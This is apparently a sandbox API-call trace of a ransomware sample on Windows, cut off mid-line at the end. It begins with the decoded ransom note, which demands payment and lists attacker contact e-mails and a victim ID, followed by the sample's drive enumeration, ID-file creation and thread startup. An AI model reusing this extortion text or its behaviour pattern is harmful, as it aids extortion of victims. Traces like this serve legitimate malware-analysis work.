lpWideCharStr=0x31efc18, cchWideChar=2100 | out: lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned 1077 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1070) returned 0x31f0c88 [0052.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31efc18 | out: hHeap=0x5d0000) returned 1 [0052.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3176c48 | out: hHeap=0x5d0000) returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x28) returned 0x31c8b70 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b5a20 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b5c88 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f8048 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f82b0 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f8518 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f8780 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f89e8 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f8c50 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f8eb8 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f9120 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80e) returned 0x31f2f30 [0052.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e700, cbMultiByte=-1, lpWideCharStr=0x31f2f30, cchWideChar=1031 | out: lpWideCharStr=".format") returned 8 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x31efc18 [0052.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2f30 | out: hHeap=0x5d0000) returned 1 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x6ae6b8 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b460 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3158b50 | out: hHeap=0x5d0000) returned 1 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x31824a8 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x48) returned 0x31c9560 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b460 | out: hHeap=0x5d0000) returned 1 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f6fd0 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f7038 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31c9560 | out: hHeap=0x5d0000) returned 1 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187198 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x3128688 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f7038 | out: hHeap=0x5d0000) returned 1 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3182500 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3182558 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xd8) returned 0x3102118 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3128688 | out: hHeap=0x5d0000) returned 1 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187228 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x31f40f8 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x31825b0 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x138) returned 0x3111648 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3102118 | out: hHeap=0x5d0000) returned 1 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f7038 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3187270 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3182608 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x3182660 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c8) returned 0x31f6220 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3111648 | out: hHeap=0x5d0000) returned 1 [0052.194] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x31872b8 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f1f18 | out: hHeap=0x5d0000) returned 1 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ae6b8 | out: hHeap=0x5d0000) returned 1 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31824a8 | out: hHeap=0x5d0000) returned 1 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f6fd0 | out: hHeap=0x5d0000) returned 1 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187198 | out: hHeap=0x5d0000) returned 1 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182500 | out: hHeap=0x5d0000) returned 1 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182558 | out: hHeap=0x5d0000) returned 1 [0052.194] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187228 | out: hHeap=0x5d0000) returned 1 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f40f8 | out: hHeap=0x5d0000) returned 1 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31825b0 | out: hHeap=0x5d0000) returned 1 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f7038 | out: hHeap=0x5d0000) returned 1 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3187270 | out: hHeap=0x5d0000) returned 1 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182608 | out: hHeap=0x5d0000) returned 1 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3182660 | out: hHeap=0x5d0000) returned 1 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31872b8 | out: hHeap=0x5d0000) returned 1 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f6220 | out: hHeap=0x5d0000) returned 1 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x28) returned 0x31c8ba0 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f9388 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f95f0 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f9858 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f9ac0 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f9d28 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31f9f90 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31fa1f8 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31fa460 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31fa6c8 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31fa930 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x3193c78 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x130) returned 0x3111648 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3193c78 | out: hHeap=0x5d0000) returned 1 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1d0) returned 0x3195e28 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3111648 | out: hHeap=0x5d0000) returned 1 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2b7) returned 0x3176c48 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195e28 | out: hHeap=0x5d0000) returned 1 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x412) returned 0x31f0430 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3176c48 | out: hHeap=0x5d0000) returned 1 [0052.195] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x61a) returned 0x31f1d00 [0052.195] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f0430 | out: hHeap=0x5d0000) returned 1 [0052.195] GetUserNameW (in: lpBuffer=0x18ea08, pcbBuffer=0x18e774 | out: lpBuffer="5p5NrGJn0jS HALPmcxz", pcbBuffer=0x18e774) returned 1 [0052.196] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x590) returned 0x31f0430 [0052.196] GetLastError () returned 0x0 [0052.198] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18e468, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0052.198] GetLastError () returned 0x3 [0052.198] GetLastError () returned 0x3 [0052.198] CreateDirectoryW (lpPathName="C:\\SystemID" (normalized: "c:\\systemid"), lpSecurityAttributes=0x0) returned 1 [0052.199] CreateFileW (lpFileName="C:\\SystemID\\PersonalID.txt" (normalized: "c:\\systemid\\personalid.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e468, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5dc [0052.199] GetFileType (hFile=0x5dc) returned 0x1 [0052.199] GetLastError () returned 0x0 [0052.201] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0052.201] RegisterClassExW (param_1=0x18e6e0) returned 0xc135 [0052.201] CreateWindowExW (dwExStyle=0x0, lpClassName="LPCWSTRszWindowClass", lpWindowName="LPCWSTRszTitle", dwStyle=0xcf0000, X=-2147483648, Y=0, nWidth=-2147483648, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x601ba [0052.201] NtdllDefWindowProc_W () returned 0x0 [0052.202] NtdllDefWindowProc_W () returned 0x1 [0052.203] NtdllDefWindowProc_W () returned 0x0 [0052.319] NtdllDefWindowProc_W () returned 0x0 [0052.319] ShowWindow (hWnd=0x601ba, nCmdShow=0) returned 0 [0052.319] UpdateWindow (hWnd=0x601ba) returned 1 [0052.319] GetLogicalDrives () returned 0x4 [0052.319] SetErrorMode (uMode=0x1) returned 0x0 [0052.319] PathFileExistsA (pszPath="C:\\") returned 1 [0052.319] SetErrorMode (uMode=0x0) returned 0x1 [0052.319] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0052.319] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x806) returned 0x3212980 [0052.320] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e698, cbMultiByte=-1, lpWideCharStr=0x3212980, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32139e8 [0052.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3212980 | out: hHeap=0x5d0000) returned 1 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x3158b70 [0052.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32139e8 | out: hHeap=0x5d0000) returned 1 [0052.320] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3158b70 | out: hHeap=0x5d0000) returned 1 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x18) returned 0x3158b70 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x10) returned 0x3195170 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x110) returned 0x3111648 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3212980 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x321c830 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1070) returned 0x31fc030 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f6fd0 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32139e8 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x660) returned 0x3216b90 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x321d0b8 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x321d940 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x321e1c8 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x321ea50 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x321f2d8 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x31f2c00 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x321fb60 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32203e8 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x31fd0a8 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x322ae80 [0052.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x322b6e8 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3220c70 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32214f8 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x322bf50 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x322c798 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3221d80 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3222608 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3222e90 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3223718 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3223fa0 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3224828 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32250b0 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3225938 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32261c0 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3226a48 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x322cfe8 [0052.321] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x322d850 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32272d0 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3227b58 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32283e0 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x322e0b8 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x322e900 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3228c68 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32294f0 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3229d78 [0052.322] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x322f160 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x322f9e8 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3230270 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3230af8 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3231380 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3231c08 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x323f148 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x323f9b0 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3232490 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3232d18 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32335a0 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3240218 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3233e28 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32346b0 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3234f38 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32357c0 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3236048 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32368d0 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3237158 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32379e0 [0052.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3238268 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3238af0 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3240a60 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x32412c8 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3239378 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3239c00 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x323a488 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x323ad10 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x323b598 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x323be20 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x323c6a8 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x323cf30 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x323d7b8 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc0) returned 0x3185408 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x323e040 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3241b30 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3242348 [0052.324] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3242b60 [0052.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3243378 [0052.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3243b90 [0052.325] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x32443c0 [0052.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x810) returned 0x3244c48 [0052.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f70a0 [0052.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32454d0 [0052.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3245d58 [0052.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32465e0 [0052.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3246e68 [0052.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x110) returned 0x6acdf8 [0052.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4156a0, lpParameter=0x3111650, dwCreationFlags=0x0, lpThreadId=0x3195178 | out: lpThreadId=0x3195178*=0xb0c) returned 0x3b0 [0052.326] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4162f0, lpParameter=0x473998, dwCreationFlags=0x0, lpThreadId=0x473990 | out: lpThreadId=0x473990*=0xb10) returned 0x3ac [0052.327] GetMessageW (in: lpMsg=0x18e890, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x18e890) returned 0 [0069.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x800) returned 0x3178dd8 [0069.386] GetComputerNameW (in: lpBuffer=0x3178dd8, nSize=0x18e3e8 | out: lpBuffer="XDUWTFONO", nSize=0x18e3e8) returned 1 [0069.386] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eca0 [0069.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.386] IsWindow (hWnd=0x601ba) returned 1 [0069.386] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eca0 | out: hHeap=0x5d0000) returned 1 [0070.051] IsWindow (hWnd=0x601ba) returned 1 [0070.051] DestroyWindow (hWnd=0x601ba) returned 1 [0070.051] NtdllDefWindowProc_W () returned 0x0 [0070.052] PostQuitMessage (nExitCode=0) [0070.052] NtdllDefWindowProc_W () returned 0x0 [0070.052] CloseHandle (hObject=0x5cc) returned 1 [0070.052] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3158b70 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f40f8 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4148 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4238 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4260 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4288 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f42b0 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b460 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b230 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f42d8 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4300 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4328 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4350 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4378 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f43a0 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f43c8 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b2a0 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b268 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f43f0 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4418 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4440 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4468 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f4490 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f44b8 | out: hHeap=0x5d0000) returned 1 [0070.053] HeapFree (in: 